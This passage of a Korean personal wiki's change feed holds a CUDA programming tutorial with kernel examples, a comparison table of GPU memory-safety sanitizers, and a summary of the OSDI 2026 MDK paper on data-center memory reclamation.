    cudaMemcpy(da, &amp;amp;a, sizeof(int) * N, cudaMemcpyHostToDevice);&lt;br /&gt;
    cudaMemcpy(db, &amp;amp;b, sizeof(int) * N, cudaMemcpyHostToDevice);&lt;br /&gt;
&lt;br /&gt;
    // Lauch add() kernel (N block)&lt;br /&gt;
    // Lauch N copies of add with add&amp;lt;&amp;lt;&amp;lt;N,1&amp;gt;&amp;gt;&amp;gt;(), each block is distinguished by blockIdx&lt;br /&gt;
    add&amp;lt;&amp;lt;&amp;lt;N,1&amp;gt;&amp;gt;&amp;gt;(da, db, dc);&lt;br /&gt;
&lt;br /&gt;
    // Device -&amp;gt; Host&lt;br /&gt;
    cudaMemcpy(c, dc, sizeof(int) * N, cudaMemcpyDeviceToHost);&lt;br /&gt;
&lt;br /&gt;
    // Cleanup&lt;br /&gt;
    cudaFree(da); cudaFree(db); cudaFree(dc);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Threads ==&lt;br /&gt;
각각의 블락은 thread로 분리될 수 있다. 이는 threadIdx로 구분된다. 또한 이는 add&amp;lt;&amp;lt;&amp;lt;1,N&amp;gt;&amp;gt;&amp;gt;()처럼 N개의 스레드를 사용한다고 명시함으로써 사용되게 된다. Warp는 32(64)개의 스레드로 구성됨으로, GPU내의 warp scheduler가 이 스레드를 K개의 warp로 나누어서 각각의 블럭을 처리하게 된다. 기능적으로는 위의 block을 사용한것과 차이가 없지만, 성능의 차이가 나게 된다. &lt;br /&gt;
&lt;br /&gt;
그런데 block으로 나누어진다면, 스레드가 필요없는 것처럼 보인다. 그렇다면 왜 스레드를 사용하여야 하는 것인가? 이는 Communicate와 Synchronize의 측면에서 장점이 있기 때문이다.&lt;br /&gt;
&lt;br /&gt;
그렇다면 과연 블럭과 스레드를 동시에 사용할 수 있는 방법이 있어야 한다. &lt;br /&gt;
&lt;br /&gt;
한 블럭당 M개의 스레드들이 생성된다면, 각각의 스레드에 대한 unique한 인덱스는 다음과 같이 주어진다. (blockIdx와 threadIdx는 0부터 시작한다.)  &lt;br /&gt;
 int index = threadIdx.x + blockIdx.x * M&lt;br /&gt;
여기서 M은 built-in variable로 blockDim.x이렇게 주어진다. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
__global__ void add(int *a, int *b, int *c, int n) {&lt;br /&gt;
    int index = threadIdx.x + blockIdx.x * blockDim.x;&lt;br /&gt;
    // 여기서 n을 통해서 index가 N을 넘는 것을 방지한다.&lt;br /&gt;
    if (index &amp;lt; n)&lt;br /&gt;
        c[index] = a[index] + b[index];&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#define N (2048*2048)&lt;br /&gt;
#define THREADS_PER_BLOCK 512&lt;br /&gt;
&lt;br /&gt;
int main(void) {&lt;br /&gt;
    int *a, *b, *c;&lt;br /&gt;
    int *da, *db, *dc;&lt;br /&gt;
&lt;br /&gt;
    a = malloc(N * sizeof(int));&lt;br /&gt;
    b = malloc(N * sizeof(int));&lt;br /&gt;
    c = malloc(N * sizeof(int));&lt;br /&gt;
&lt;br /&gt;
    cudaMalloc((void **)&amp;amp;da, sizeof(int) * N);&lt;br /&gt;
    cudaMalloc((void **)&amp;amp;db, sizeof(int) * N);&lt;br /&gt;
    cudaMalloc((void **)&amp;amp;dc, sizeof(int) * N);&lt;br /&gt;
    // 만약, da에 host에서 접근하면 segmentation fault가 발생한다.&lt;br /&gt;
    // 왜냐하면, da는 device에서 사용하는 포인터이기 때문이다. &lt;br /&gt;
&lt;br /&gt;
    // Host -&amp;gt; Device&lt;br /&gt;
    cudaMemcpy(da, &amp;amp;a, sizeof(int) * N, cudaMemcpyHostToDevice);&lt;br /&gt;
    cudaMemcpy(db, &amp;amp;b, sizeof(int) * N, cudaMemcpyHostToDevice);&lt;br /&gt;
&lt;br /&gt;
    // Lauch add() kernel (N block)&lt;br /&gt;
    // Lauch N copies of add with add&amp;lt;&amp;lt;&amp;lt;N,M&amp;gt;&amp;gt;&amp;gt;(), each block is distinguished by blockIdx&lt;br /&gt;
    add&amp;lt;&amp;lt;&amp;lt;N/THREADS_PER_BLOCK,THREADS_PER_BLOCK&amp;gt;&amp;gt;&amp;gt;(da, db, dc, N);&lt;br /&gt;
&lt;br /&gt;
    // Device -&amp;gt; Host&lt;br /&gt;
    cudaMemcpy(c, dc, sizeof(int) * N, cudaMemcpyDeviceToHost);&lt;br /&gt;
&lt;br /&gt;
    // Cleanup&lt;br /&gt;
    free(a); free(b); free(c);&lt;br /&gt;
    cudaFree(da); cudaFree(db); cudaFree(dc);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== [[GPU Memory Architecture]]&lt;br /&gt;
== Shared Memory ==&lt;br /&gt;
Shared Memory는 캐쉬와는 다르게 프로그래머가 정확이 어떠한 변수가 메모리 영역에 올라갈지를 결정할 수 있다. Shared Memory영역은 같은 스레드간에 공유될 수 있다. 만약 모든 병렬 처리가 block으로 나누어진다면, 스레드가 필요없는 것처럼 보인다. 그렇다면 왜 스레드를 사용하여야 하는 것인가? 이는 Communicate와 Synchronize의 측면에서 장점이 있기 때문이다. 예를 들어서 1D 배열에서 주위의 변수들의 합을 구하는 프로그램을 짠다고 해보자. 이러할 경우 만약 [-3, 나, +3] 의 영역의 합을 구한다면 같은 메모리 위치에 모두 7번 접근해서 각각의 블럭을 처리해야 한다. 그러나 이러한 일은 매우 비효율 적인 일이다. 따라서 스레드를 이용해서 shared memory를 통해서 이러한 한계를 극복할 수 있다.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
// [가장자리 0, 가장자리 2, ..., 가장자리 + RADIUS, 가운데 0, ..., 가운데 BLOCK_SIZE - 2 *  RADIUS, 가장자리 ...]&lt;br /&gt;
__global__void stencil_1d(int *in, int *out) {&lt;br /&gt;
    // 가장자리를 제외한 부분의 영역을 공유 메모리에 적재&lt;br /&gt;
    __shared__ int temp[BLOCK_SIZE + 2 * RADIUS];&lt;br /&gt;
    int gindex = threadIdx.x + blockIdx.x * blockDim.x;&lt;br /&gt;
    int lindex = threadIdx.x + RADIUS;&lt;br /&gt;
&lt;br /&gt;
    // 가장자리 부분을 공유 메모리에 적재&lt;br /&gt;
    temp[lindex] = in[gindx];&lt;br /&gt;
    if (threadIdx.x &amp;lt; RADIUS) {&lt;br /&gt;
        temp[lindex - RADIUS] = in[gindex - RADIUS];&lt;br /&gt;
        temp[lindex + BLOCK_SIZE] = in[gindex + BLOCK_SIZE];&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Data race ==&lt;br /&gt;
 void __syncthreads();&lt;br /&gt;
이 함수는 블럭당 모든 스레드를 동기화 시킨다. 즉 RAW, WAR, WAW를 없앨 수 있다. &lt;br /&gt;
&lt;br /&gt;
== Host &amp;amp; Device ==&lt;br /&gt;
커널은 비동기적으로 작동하게 된다. 즉 커널과 CPU의 작동은 서로 비동기적이다. 따라서 CPU는 Result를 소비하기 전에 동기화될 필요가 있다. &lt;br /&gt;
* cudaMemcpu: 호스트를 잠시 멈추고 GPU가 결과를 가져오기를 기다린후, 결과를 가져온다.&lt;br /&gt;
* cudaMemcpyAsync: 비동기적으로 결과를 가져온다.&lt;br /&gt;
* cudaDeviceSynchronize: 호스트를 GPU에서 결과 처리가 완료될까지 기다리게 한다. &lt;br /&gt;
&lt;br /&gt;
모든 CUDA API는 Error code를 만들어 낸다. cudaError_t. &lt;br /&gt;
* cudaError_t e = ...SomeCUDAOperation...&lt;br /&gt;
* cudaGetLastError: 마지막 에러를 가져온다.&lt;br /&gt;
&lt;br /&gt;
CUDA는 여러 GPU중 하나를 선택할 수 있다. 이는 여러 Host가 하나의 GPU를 공유하거나, 여러 GPU를 하나의 Host가 공유하는 상황 모두에서 쓰일 수 있다. 또한 하나의 GPU를 가상머신 처럼 여러 GPU로 쪼개서 사용할 수도 있는데, 이는 클라우드와 같이 하나의 GPU를 공유하는 시스템에서 유용하게 사용될 수 있다. &lt;br /&gt;
*cudaGetDeviceCount(int *count)&lt;br /&gt;
* cudaSetDevice(int device)&lt;br /&gt;
* cudaGetDevice(int *device)&lt;br /&gt;
* cudaGetDeviceProperties(cudaDeviceProp *prop, int device)&lt;br /&gt;
* cudaMemcpu: GPU와 GPU사이의 통신을 목적으로 사용될 수 있다.&lt;br /&gt;
&lt;br /&gt;
== 예시 ==&lt;br /&gt;
=== Convolution ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
__global__ void cuda_conv2d(double* image, double* kernel, double*result, int m, int n, int k) {&lt;br /&gt;
    int row_index = threadIdx.y + blockIdx.y * blockDim.y;&lt;br /&gt;
    int col_index = threadIdx.x + blockIdx.x * blockDim.x;&lt;br /&gt;
&lt;br /&gt;
    if(row_index &amp;lt; m &amp;amp;&amp;amp; col_index &amp;lt; n) {&lt;br /&gt;
        for(int i=0;i&amp;lt;k;++i) {&lt;br /&gt;
            result[row_index * n + col_index] += image[row_index * k + i] * kernel[n * i + col_index];&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
extern &amp;quot;C&amp;quot; void conv2d(double *image, double *kernel, double *result, int m, int n, int k)&lt;br /&gt;
{&lt;br /&gt;
    double *d_image, *d_kernel, *d_result;&lt;br /&gt;
&lt;br /&gt;
    cudaMalloc((void**)&amp;amp;d_image, m * k * sizeof(double));&lt;br /&gt;
    cudaMalloc((void**)&amp;amp;d_kernel, n * k * sizeof(double));&lt;br /&gt;
    cudaMalloc((void**)&amp;amp;d_result, m * n * sizeof(double));&lt;br /&gt;
&lt;br /&gt;
    cudaMemcpy(d_image, image, m * k * sizeof(double), cudaMemcpyHostToDevice);&lt;br /&gt;
    cudaMemcpy(d_kernel, kernel, n * k * sizeof(double), cudaMemcpyHostToDevice);&lt;br /&gt;
&lt;br /&gt;
    int row_index = (n - 1) / 32 + 1;&lt;br /&gt;
    int col_index = (m - 1) / 32 + 1;&lt;br /&gt;
&lt;br /&gt;
    dim3 dim_block = dim3(32, 32, 1);&lt;br /&gt;
    dim3 dim_thread = dim3(row_index, col_index);&lt;br /&gt;
&lt;br /&gt;
    cuda_conv2d&amp;lt;&amp;lt;&amp;lt;dim_thread, dim_block&amp;gt;&amp;gt;&amp;gt;(d_image, d_kernel, d_result, m, n, k);&lt;br /&gt;
&lt;br /&gt;
    cudaMemcpy(result, d_result, m * n * sizeof(double), cudaMemcpyDeviceToHost);&lt;br /&gt;
&lt;br /&gt;
    cudaFree(d_image);&lt;br /&gt;
    cudaFree(d_kernel);&lt;br /&gt;
    cudaFree(d_result);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 참고 ==&lt;br /&gt;
# http://haanjack.github.io/cuda/2016/03/27/cuda-prog-model.html&lt;br /&gt;
# CUDA programming NVIDA Manual&lt;/div&gt;</summary>
		<author><name>Ahn9807</name></author>
	</entry>
	<entry>
		<id>http://junhoahn.kr/noriwiki/index.php?title=%EB%B6%84%EB%A5%98:GPU_%EB%B3%B4%EC%95%88&amp;diff=7172</id>
		<title>분류:GPU 보안</title>
		<link rel="alternate" type="text/html" href="http://junhoahn.kr/noriwiki/index.php?title=%EB%B6%84%EB%A5%98:GPU_%EB%B3%B4%EC%95%88&amp;diff=7172"/>
		<updated>2026-09-20T06:49:04Z</updated>

		<summary type="html">&lt;p&gt;Ahn9807: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[분류: GPU]]&lt;br /&gt;
[[분류: 컴퓨터 보안]]&lt;/div&gt;</summary>
		<author><name>Ahn9807</name></author>
	</entry>
	<entry>
		<id>http://junhoahn.kr/noriwiki/index.php?title=%EB%B6%84%EB%A5%98:GPU_%EB%B3%B4%EC%95%88&amp;diff=7171</id>
		<title>분류:GPU 보안</title>
		<link rel="alternate" type="text/html" href="http://junhoahn.kr/noriwiki/index.php?title=%EB%B6%84%EB%A5%98:GPU_%EB%B3%B4%EC%95%88&amp;diff=7171"/>
		<updated>2026-09-20T06:48:43Z</updated>

		<summary type="html">&lt;p&gt;Ahn9807: 새 문서: 분류: GPU&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[분류: GPU]]&lt;/div&gt;</summary>
		<author><name>Ahn9807</name></author>
	</entry>
	<entry>
		<id>http://junhoahn.kr/noriwiki/index.php?title=GPU_Sanitizer&amp;diff=7170</id>
		<title>GPU Sanitizer</title>
		<link rel="alternate" type="text/html" href="http://junhoahn.kr/noriwiki/index.php?title=GPU_Sanitizer&amp;diff=7170"/>
		<updated>2026-09-20T05:29:31Z</updated>

		<summary type="html">&lt;p&gt;Ahn9807: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[분류:GPU 보안]]&lt;br /&gt;
&lt;br /&gt;
== 개요 ==&lt;br /&gt;
본 문서는 여러 GPU Sanitizer들을 다축분석하는 문서이다.&lt;br /&gt;
&lt;br /&gt;
== 요약 ==&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
! rowspan=&amp;quot;2&amp;quot; |&lt;br /&gt;
! rowspan=&amp;quot;2&amp;quot; |UAF&lt;br /&gt;
! rowspan=&amp;quot;2&amp;quot; |OOB&lt;br /&gt;
! rowspan=&amp;quot;2&amp;quot; |Mechanism&lt;br /&gt;
! colspan=&amp;quot;2&amp;quot; |Metadata identity&lt;br /&gt;
! colspan=&amp;quot;2&amp;quot; |Overhead&lt;br /&gt;
! colspan=&amp;quot;4&amp;quot; |Compiler Optimizations&lt;br /&gt;
! colspan=&amp;quot;4&amp;quot; |Runtime Optimizations&lt;br /&gt;
|-&lt;br /&gt;
!Identity&lt;br /&gt;
!Cost&lt;br /&gt;
!Perf&lt;br /&gt;
!Mem&lt;br /&gt;
!Common&lt;br /&gt;
!Local&lt;br /&gt;
!Shared&lt;br /&gt;
!Global&lt;br /&gt;
!Common&lt;br /&gt;
!Local&lt;br /&gt;
!Shared&lt;br /&gt;
!Global&lt;br /&gt;
|-&lt;br /&gt;
|Compute Sanitizer&lt;br /&gt;
|O&lt;br /&gt;
|O&lt;br /&gt;
|Binary&lt;br /&gt;
|Location&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
| colspan=&amp;quot;7&amp;quot; | -&lt;br /&gt;
|-&lt;br /&gt;
|GMOD&lt;br /&gt;
|O&lt;br /&gt;
|O&lt;br /&gt;
|Compiler&lt;br /&gt;
|Canary&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
| colspan=&amp;quot;7&amp;quot; | -&lt;br /&gt;
|-&lt;br /&gt;
|CLARMOR&lt;br /&gt;
|O&lt;br /&gt;
|O&lt;br /&gt;
|Compiler&lt;br /&gt;
|Canary&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|GPUShield&lt;br /&gt;
|O&lt;br /&gt;
|O&lt;br /&gt;
|Compiler + HW&lt;br /&gt;
|HW Tag&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|CuCatch&lt;br /&gt;
|O&lt;br /&gt;
|O&lt;br /&gt;
|Compiler&lt;br /&gt;
|Object&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|MH, MM, BM&lt;br /&gt;
|&lt;br /&gt;
|Infer base pointer statically&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|Per-thread Metdata&lt;br /&gt;
|Remove metdata fetching&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|CuSafe&lt;br /&gt;
|O&lt;br /&gt;
|O&lt;br /&gt;
|Compiler&lt;br /&gt;
|Object&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|GPU Armor&lt;br /&gt;
|O&lt;br /&gt;
|O&lt;br /&gt;
|Compiler + HW&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
; Compiler Optimization Technique 약자&lt;br /&gt;
* MH: Metadat Hoisiting&lt;br /&gt;
* MM: Min-max Mergning&lt;br /&gt;
* BM: Bound Mergning&lt;br /&gt;
&lt;br /&gt;
== [[CuCatch: A Debugging Tool for Efficiently Catching Memory Safety Violations in CUDA Applications|CuCatch]] ==&lt;/div&gt;</summary>
		<author><name>Ahn9807</name></author>
	</entry>
	<entry>
		<id>http://junhoahn.kr/noriwiki/index.php?title=MDK:_Rethinking_the_data_center_memory_reclamation_problem&amp;diff=7169</id>
		<title>MDK: Rethinking the data center memory reclamation problem</title>
		<link rel="alternate" type="text/html" href="http://junhoahn.kr/noriwiki/index.php?title=MDK:_Rethinking_the_data_center_memory_reclamation_problem&amp;diff=7169"/>
		<updated>2026-09-04T02:37:49Z</updated>

		<summary type="html">&lt;p&gt;Ahn9807: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Paper&lt;br /&gt;
|title=MDK: Rethinking the data center memory reclamation problem&lt;br /&gt;
|author=Shaurya Patel, Suli Yang, Yawen Wang, Kan Wu, Alexandra (Sasha) Fedorova, Margo Seltzer, Kimberly Keeton&lt;br /&gt;
|conference=20th USENIX Symposium on Operating Systems Design and Implementation (OSDI 2026)&lt;br /&gt;
|year=2026&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
== 개요 ==&lt;br /&gt;
이 논문은 [[데이터 센터]]의 proactive [[Memory reclamation]]을 전통적 [[Page replacement]]와 다른 최적화 문제로 재정의한다. 핵심 결과물은 &#039;&#039;&#039;Memory Designer&#039;s Kit (MDK, 메모리 설계 도구 모음)&#039;&#039;&#039;로, [[Service Level Objective|Service Level Objective (SLO, 서비스 수준 목표)]]를 지키면서 평균 메모리 절감량을 최대화하는 정책을 설계·평가하는 오프라인 도구다.&lt;br /&gt;
&lt;br /&gt;
핵심 아이디어는 기존에는 Memory cache miss rate를 최소화 하는 문제로 Memory reclamation을 바라보았지만, 데이터 센터에서는 SLO를 지키면서 평균 메모리 절감량을 최대화 하는 방향으로 Memory reclamation을 설계해야 한다는 것이다.&lt;br /&gt;
&lt;br /&gt;
논문은 크게 Datacenter에서의 Memory reclamation을 어떻게 설계해야 하는지 고민하는 부분과, 새로운 Memory reclamation policy를 설계하고 구현할 수 있는 도구인 MDK의 설계 파트로 나뉜다. 저장들은 제안하는 MDK는 논문에서 제시하는 메모리 Reclamation정책만 지원하는 것이 아니라 General하게 데이터 센터의 메모리 Reclamation정책 설계에 사용할 수 있다고 주장한다.&lt;br /&gt;
&lt;br /&gt;
논문의 핵심 내용은 다음 표로 정리할 수 있다.&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! 구분&lt;br /&gt;
! Page Replacement (Related Works)&lt;br /&gt;
! 데이터 센터 Memory Reclamation (MDK)&lt;br /&gt;
|-&lt;br /&gt;
! 목표와 제약&lt;br /&gt;
| 고정된 cache 크기에서 전체 실행의 miss ratio 최소화&lt;br /&gt;
| SLO 한도를 지키면서 평균 메모리 절감량 최대화&lt;br /&gt;
|-&lt;br /&gt;
! 동작 시점&lt;br /&gt;
| 메모리 pressure가 발생한 뒤&lt;br /&gt;
| 새로운 Job을 배치할 여유를 만들기 전&lt;br /&gt;
|-&lt;br /&gt;
! 대표 지표&lt;br /&gt;
| 전체 실행에 걸친 cache miss ratio&lt;br /&gt;
| time window별 promotion 비율, 자원 대기로 손실된 시간의 비율, 느린 Secondary-tier 스토리지 접근 비용&lt;br /&gt;
|-&lt;br /&gt;
! 설계 도구&lt;br /&gt;
| Optimal page replacement (OPT)와 [[Miss Ratio Curve|Miss Ratio Curve (MRC, miss 비율 곡선)]]&lt;br /&gt;
| Optimal Performance Proxy (OPP, 최적 성능 proxy)와 [[Memory Performance Curve|Memory Performance Curve (MPC, 메모리 성능 곡선)]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
이 논문이 주로 사용하는 &#039;&#039;&#039;promotion rate는 한 time window에서 발생한 hot page fault (즉 swap-out된 페이지에서 발생한 page fault) 수를 그 window에서 접근한 unique page 수로 나눈 값이다.&#039;&#039;&#039; 저자들은 이를 trace에서 계산 가능한 SLO proxy로 사용하고, 시간에 따른 평균 메모리 절감량을 최대화한다.&lt;br /&gt;
&lt;br /&gt;
== Motivation ==&lt;br /&gt;
&lt;br /&gt;
[[DRAM|Dynamic Random-Access Memory (DRAM)]] 비용 때문에 서버당 더 많은 job을 수용하는 것은 Total Cost of Ownership (TCO, 총소유비용)과 직결된다. [[g-swap]]과 Transparent Memory Offloading (TMO) 같은 시스템은 cold page를 compressed memory, Solid-State Drive (SSD), 또는 [[Compute Express Link|Compute Express Link (CXL)]] 기반의 저렴한 tier로 미리 내보낸다. 이때 절감 공간은 새 job을 배치할 만큼 오래 유지되어야 하고 application SLO도 지켜야 한다.&lt;br /&gt;
&lt;br /&gt;
기존의 Cache miss rate이나 Page fault rate을 최적화 하는 방식은 데이터 센터에서는 다음의 이유로 단점이 있다.&lt;br /&gt;
&lt;br /&gt;
# Cache miss rate: 모든 Page access중에서 어느정도가 Cache miss인지를 확인해야 하는데 데이터 센터에서 성능하락 없이 이런 기능을 제공하기가 힘들다.&lt;br /&gt;
# Page fault rate: TMO에서 보듯, page fault는 hardware heterogeneity를 반영하지 못한다. &lt;br /&gt;
&lt;br /&gt;
== Main Idea ==&lt;br /&gt;
&lt;br /&gt;
핵심 통찰은 miss의 총량이 아니라 &#039;&#039;&#039;미래의 각 time window가 허용하는 promotion budget&#039;&#039;&#039;을 직접 관리해야 한다는 것이다. 같은 수의 page fault라도 한 window에 집중되면 SLO를 위반한다. 반대로 fault를 여러 window에 분산하면서 page를 가능한 한 일찍 reclaim하면, 성능 한도를 지키면서 메모리 절감 시간을 늘릴 수 있다.&lt;br /&gt;
&lt;br /&gt;
MDK는 이를 MPC, OPP, 두 가지 eviction property, efficient MPC generator로 구현한다. 이 조합은 달성 가능한 upper bound를 보여 주고, 수많은 parameter를 각각 simulation하지 않고 policy의 성능–메모리 tradeoff를 계산한다.&lt;br /&gt;
&lt;br /&gt;
== Design ==&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;Memory Performance Curve (MPC, 메모리 성능 곡선):&#039;&#039;&#039; x축은 target promotion rate, y축은 평균 메모리 절감량이다. 동일한 성능 한도에서 policy를 비교하고 원하는 절감량에 필요한 성능 비용을 찾는다. 가능한 지점이 연속적이지 않으므로 선이 아닌 점으로 표시한다.&lt;br /&gt;
# &#039;&#039;&#039;Optimal Performance Proxy (OPP, 최적 성능 proxy):&#039;&#039;&#039; 첫 pass에서 window별 unique page 수를 센다. 두 번째 pass에서는 page의 다음 접근 window를 미리 보고, 그 page fault를 추가해도 해당 window의 promotion-rate 한도를 넘지 않을 때 현재 접근 직후 reclaim한다. Page를 가장 일찍 내보내 절감 시간을 최대화하지만, 미래 정보가 필요한 오프라인 oracle이다.&lt;br /&gt;
# &#039;&#039;&#039;Eviction properties와 빠른 MPC 생성:&#039;&#039;&#039;&lt;br /&gt;
#* &#039;&#039;&#039;Eviction decisions property&#039;&#039;&#039;는 aggressive한 setting이 덜 aggressive한 setting의 모든 eviction을 포함한다는 뜻이다. &#039;&#039;&#039;Eviction times property&#039;&#039;&#039;는 그 eviction 시각까지 같다는 더 강한 조건이다.&lt;br /&gt;
#* 이 포함 관계를 이용하면 eviction을 처음 유발하는 critical parameter만 계산한 뒤 나머지 setting으로 누적할 수 있다. Single-parameter policy는 trace 길이에 대해 linear time에 처리하며, two-parameter policy에는 별도 계산법이 필요하다.&lt;br /&gt;
# &#039;&#039;&#039;OPP에서 유도한 practical policies:&#039;&#039;&#039;&lt;br /&gt;
#* &#039;&#039;&#039;AGE (age-based policy):&#039;&#039;&#039; 마지막 접근 후 일정 시간이 지나야 reclaim하는 기존 방식이다. 안전하지만 늦게 내보내므로 절감 기회를 놓친다.&lt;br /&gt;
#* &#039;&#039;&#039;Prior Age with Wait (PAW, 과거 접근 간격을 이용하되 잠시 기다리는 정책):&#039;&#039;&#039; 직전 두 접근의 간격이 threshold보다 크고 마지막 접근 후 1분이 지나면 reclaim한다. 반복 pattern에는 유리하지만 과거가 미래를 잘 예측하지 못하면 AGE보다 나쁘다.&lt;br /&gt;
#* &#039;&#039;&#039;Prior Age and Current Elapsed (PACE, 과거 접근 간격과 현재 idle 시간을 결합한 정책):&#039;&#039;&#039; 과거 접근 간격이 길면 즉시 reclaim하고, 그렇지 않으면 AGE처럼 일정 idle 시간을 기다린다. AGE로 되돌아갈 수 있지만 두 parameter를 workload에 맞게 정해야 한다.&lt;br /&gt;
#* &#039;&#039;&#039;Learned OPP (L-OPP, 학습형 OPP):&#039;&#039;&#039; OPP의 결정을 정답으로 삼아 미래 정보 없이 reclaim 여부를 예측한다. Model precision이 낮으면 promotion-rate 제약을 지키지 못한다.&lt;br /&gt;
&lt;br /&gt;
== Result ==&lt;br /&gt;
&lt;br /&gt;
* OPP는 모든 workload와 promotion rate에서 가장 높은 평균 메모리 절감량을 보였다. Cassandra에서는 promotion rate 1% 미만에서 약 40%를 절감한 반면, VMIN은 10%까지 허용해도 같은 절감량에 도달하지 못했다. 이는 window budget을 직접 고려하는 결정의 안전 마진을 보여준다.&lt;br /&gt;
* PAW는 access pattern이 예측 가능한 GraphX, NGINX, TaoBench에서 AGE보다 최대 10% 더 많은 메모리를 절감했지만, Memcached와 FeedSim처럼 과거 pattern이 약한 workload에서는 AGE가 크게 앞섰다.&lt;br /&gt;
* PACE의 best configuration은 대부분의 workload에서 AGE보다 1–4% 더 절감했고 Cassandra와 GraphX에서는 8–10% 개선했다. 단, 같은 trace로 parameter를 고르고 평가한 maximum-potential 결과이다.&lt;br /&gt;
* L-OPP는 DjangoBench와 MediaWiki에서 PAW보다 나았지만, TaoBench와 FeedSim에서는 낮은 예측 정밀도 때문에 promotion rate가 높아졌다. 학습 정책이 성능 제약을 자동으로 지키는 것은 아니다.&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
연구의 핵심을 한 문장으로 정리한다면 &amp;quot;&#039;&#039;&#039;데이터 센터에서의 Memory Reclamation은 전통적인 시스템의 그것과는 다르다. SLO를 맞춰주는 선에서 메모리 사용량을 최소화하는 것이다.&#039;&#039;&#039;&amp;quot; 로 정리할 수 있을 것 같다. 이 핵심 문장이 인상 깊었으며, Optimization이라는 본질적인 시스템의 문제에서 더 크게 메모리 정책을 바라보게 하고, 각 Component설계를 어떻게 할 수 있을지 제시하였다는 점에서 흥미로운 논문이었던 것 같다.&lt;br /&gt;
&lt;br /&gt;
[[분류:USENIX OSDI]]&lt;/div&gt;</summary>
		<author><name>Ahn9807</name></author>
	</entry>
	<entry>
		<id>http://junhoahn.kr/noriwiki/index.php?title=MDK:_Rethinking_the_data_center_memory_reclamation_problem&amp;diff=7168</id>
		<title>MDK: Rethinking the data center memory reclamation problem</title>
		<link rel="alternate" type="text/html" href="http://junhoahn.kr/noriwiki/index.php?title=MDK:_Rethinking_the_data_center_memory_reclamation_problem&amp;diff=7168"/>
		<updated>2026-09-03T05:36:39Z</updated>

		<summary type="html">&lt;p&gt;Ahn9807: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Paper&lt;br /&gt;
|title=MDK: Rethinking the data center memory reclamation problem&lt;br /&gt;
|author=Shaurya Patel, Suli Yang, Yawen Wang, Kan Wu, Alexandra (Sasha) Fedorova, Margo Seltzer, Kimberly Keeton&lt;br /&gt;
|conference=20th USENIX Symposium on Operating Systems Design and Implementation (OSDI 2026)&lt;br /&gt;
|year=2026&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
== 개요 ==&lt;br /&gt;
